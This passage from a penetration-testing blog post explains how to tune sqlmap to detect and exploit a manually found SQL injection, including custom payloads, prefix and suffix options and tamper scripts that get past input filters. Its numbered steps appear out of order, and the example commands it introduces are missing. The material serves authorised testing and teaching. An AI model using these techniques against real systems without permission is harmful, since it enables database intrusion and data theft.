Note: You can also configure sqlmap to work through an intercepting proxy for debugging purposes.  However, while I generally always have Burp Suite running when Im testing any web application, I usually prefer to avoid filling up my proxy history and slowing down the operation of sqlmap by doing this. Sometimes, if I really want to have a close look at requests and responses, I will run up a separate proxy instance using something like ZA Proxy or BurpSuite .

Auto answering

Under certain circumstances, sqlmap will ask you the same set of one or more repeated questions every time you run the tool. Some of these questions are without their own associated command line options, and therefore without an obvious way to inform sqlmap of the desired behavior so you don’t have to repeatedly answer the same question the same way every time sqlmap prompts you.  The –answers option allows you to provide a standard response to these questions – to use it, pick a unique term from the question itself, and provide this along with the desired response.

For example, to preemptively answer Yes to allow sqlmap to attempt to “optimize” timing settings during blind timing based injections, use the following.


Session flushing

sqlmap keeps session information about each url, including which techniques and payloads have been confirmed to work and what data has been retrieved from the site.  If a non optimal payload type has been associated with a particular url within the relevant session, you may want to clear that session information in order to try and get a new payload to work.  You can flush all data associated with a URL, and force the detection process to run again, using the following option.


Other options

Some other options I commonly use are the parameter option which specifies which parameter is used to perform the injection (e.g. -p ‘vulnerable_parameter’) and the options to specify the database (e.g. –dbms=’mysql’) and the Operating System (–os=’linux’) in use on the remote server.  These all help sqlmap to avoid making extraneous requests beyond what you already know will be effective based on your knowledge of the target web application.  Sometimes of course the injection point is not within a parameter, in which case sqlmap has other options which can be used to target its operation, such as the asterisk character (*) which can be used to set manual injection point within a request.

Tweaking sqlmap options to detect tricky injections

Before you can use sqlmap to effectively exploit an injection issue, you must get it to detect the vulnerability, which associates one or more injection techniques and payloads with the URL associated with the issue.  Once this has occurred, the detection process does not need to run again, and sqlmaps options for exploitation and data retrieval can be immediately used on subsequent executions of the tool.

The following is the process I use for taking a manually discovered SQL injection vulnerability and configuring sqlmap to exploit it.

  1. If the payload being sent is resulting in a SQL query that is NOT syntactically correct, there are 3 primary reasons for this.  Work out which issue (or combination of issues) is causing the problem, and work to resolve these as discussed below before moving on to the next step.
  2. Once sqlmap is sending a payload that is logically similar to your POC, the goal is to now tweak the relevant sqlmap options to get the request syntactically correct for the injection.  At this point you will want to set the –test-filter option in order to send only your chosen payload, and try and determine what needs to change with the payload to make it work. By “work” I mean that you must be creating injected queries that are syntactically correct and the results must not involve database errors, displayed to you or otherwise, UNLESS you are doing error based injection and that error is displayed to you and contains your chosen content. This troubleshooting may involve taking the payload from the sqlmap verbose output and pasting it into your manual testing tool (i.e. Burp Suite Professional’s Repeater) to see if it returns a syntactically correct result. Sometimes however, you can just eyeball it and tell where there are some obvious issues. The next step provides guidance on how to fix syntax issues.
  3. If at this point you still do not see a payload that looks like it will be able to provide the output needed to make the injection succeed, you will need to write your own. Pick an example from the xml file named after the appropriate injection technique thats as close as possible to what you need, and modify as required.  The earlier section on custom test payloads contains references that help describe this process, and a future post in this series will also have a specific example.
  4. Run the detection again, however this time use the -v3 verbose option on so you can see the payloads being sent.  Scroll through the output, looking for an injection string thats similar in layout to the POC developed earlier, which will cause the response you require. At this point you may see the names of likely looking payloads that are not being sent here because the –level or –risk settings are too low. If so, raise these values and try again and see if you can find an appropriate payload that comes as close as possible to what you need.
  5. Run sqlmap, configuring the backend database type (–dbms), Operating System (–os), and technique (–technique) options to specifically target the manually discovered issue. Set the parameter (-p)  option as well if the injection is in a URL or POST data parameter, or use other options such as the injection point asterisk (*) as appropriate to tell sqlmap exactly where the injection is located. This helps focus the detection process, minimising requests sent and time taken by ignoring non-vulnerable parameters and payloads that target other databases or are associated with unwanted injection techniques. You may also need to provide proxy details, cookies or other authentication options, CSRF management options, safe URL settings to avoid lockouts, etc as appropriate, to ensure that sqlmap can correctly send and receive HTTP requests and responses. If you have already created a manual injection POC in a separate tool you should already know all the correct settings to use for this purpose.  Leave all other options at the default. I do all my manual testing using Burp Suite Professional, so I use the CO2 plugin and its SQLMapper component to quickly set the relevant command line options.  From this point on in the process, as soon as you get sqlmap to detect the vulnerability, you can skip the remaining steps (hopefully thats obvious).
  6. Develop the manual exploit to the point where a POC for the best applicable exploitation technique exists. For a UNION SELECT vulnerability, this means you want to discover the number of columns in the UNION, and perhaps also the datatypes of each column (numeric, text, date, etc). For a boolean blind, you will want to be able to trigger different pages responses for True and False conditions, and determine how you could differentiate the True response from the False. For a time based blind, you want to get a response to delay for a given period of seconds based on the success or failure of some comparison you make, etc. This step will also include working out whether any specific characters are restricted by some sort of filter or other application issue, and hence are unusable in performing the injection.
      • The first possible reason is that the prefix and suffix have been set incorrectly (either manually by you or automatically by sqlmap). You know this is the case if the text used at the start of the payload to break into the injection, or the text at the end used to terminate it, are syntactically different from your POC. Correctly set the suffix and prefix options to fix this – the right values should be easy to identify as they will be included in your manual POC. Be aware here that certain test payloads are configured to place random values at the start of the payload output. If you set the –prefix option and don’t see the configured string at the very start of the payload output you are using in sqlmap’s verbose output, you know that the payload configuration itself is the cause (specifically, the where option in the payload configuration), which is the second possible reason.
      • Second, the definition of the test payload itself is causing an error for some reason. I have seen the sqlmap default payloads break in some cases, but the most likely way for this to occur is when you have written the payload yourself. If the text or logic or the placement of the random values used by sqlmap in the meat of the payload is causing the issue, the problem might be with the definition of the test payload (or you might be focusing on using the wrong payload and another one you have overlooked is more appropriate). Modify the payload, try a different one, or create a your own custom new one to fix this.
      • Third, there is some sort of filter implemented in the space between when you send the request and when the resultant query reaches the database that is causing an otherwise syntactically correct payload to be rejected. This is where tamper scripts can be used to (hopefully) filter out or replace the offending characters. Don’t forget to bump your verbosity setting to -v4 in order to see HTTP requests in the output if you need to troubleshoot these. You can either use one of the existing tamper scripts (if a suitable one exists) or write your own. If the filtering is particularly prohibitive, you may need to consider writing a payload that makes use of inventive SQL to avoid your given bad patterns.
  7. Once your queries are syntactically correct, the next step is ensuring that sqlmap can correctly interpret the results it is receiving (and, in the case of second order injections, that it is receiving the correct results at all!). Setting aside second-order injections for the moment (we will cover this in more detail in a future example), sqlmap is generally pretty good at this for all of its techniques other than boolean blind injection. For these, you will often need to tell it how to distinguish True from False responses. This is where the detection options such as –string, –not-string and –regex discussed earlier come into play – use these to help sqlmap identify the appropriate responses.

Once you have completed these steps sqlmap should have correctly detected your vulnerability and be ready to exploit it.

I completes this entry in the series, stay tuned for the next post, where I will show some examples, I’ll be back soon, I Hope You May Learn Something. 🙂